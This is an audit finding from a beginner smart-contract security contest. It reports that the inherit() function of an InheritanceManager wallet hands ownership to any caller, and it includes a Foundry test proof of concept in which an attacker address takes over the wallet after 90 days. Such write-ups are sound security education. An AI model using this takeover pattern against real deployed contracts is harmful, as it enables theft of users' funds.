Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted Access to inherit() Allows Unauthorized Takeover

zebra

Summary

The inherit() function in InheritanceManager allows any address to claim ownership under specific conditions, even if they are not the intended beneficiary. If the contract has been inactive for at least 90 days and there is only one beneficiary, the function assigns ownership to msg.sender without verifying whether they are the legitimate beneficiary.

impact: High

likelihood: Low

Vulnerability Details

The relevant code snippet:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender; // Ownership is assigned without verifying the caller
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

If there is only one beneficiary, msg.sender is assigned as the new owner without confirming that they are the actual beneficiary. This allows an attacker to exploit the function by calling inherit() themselves, effectively stealing control of the contract.

Impact

An attacker can illegitimately claim ownership of a wallet under the following conditions:
1. The original owner has not interacted with the contract for at least 90 days (block.timestamp < getDeadline() is false).
2. There is exactly one beneficiary in the beneficiaries list.
3. The attacker calls inherit() before the legitimate beneficiary does.

PoC

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
contract NonReentrantTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
vm.stopPrank();
}
​
function test_inheritAttack() public {
assertEq(im.getOwner(), owner);
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1 + 90 days);
​
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
im.inherit();
assertEq(im.getOwner(), address(attacker));
}
}

Tools Used

Recommendations

verify the msg.sender before set the new owner

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.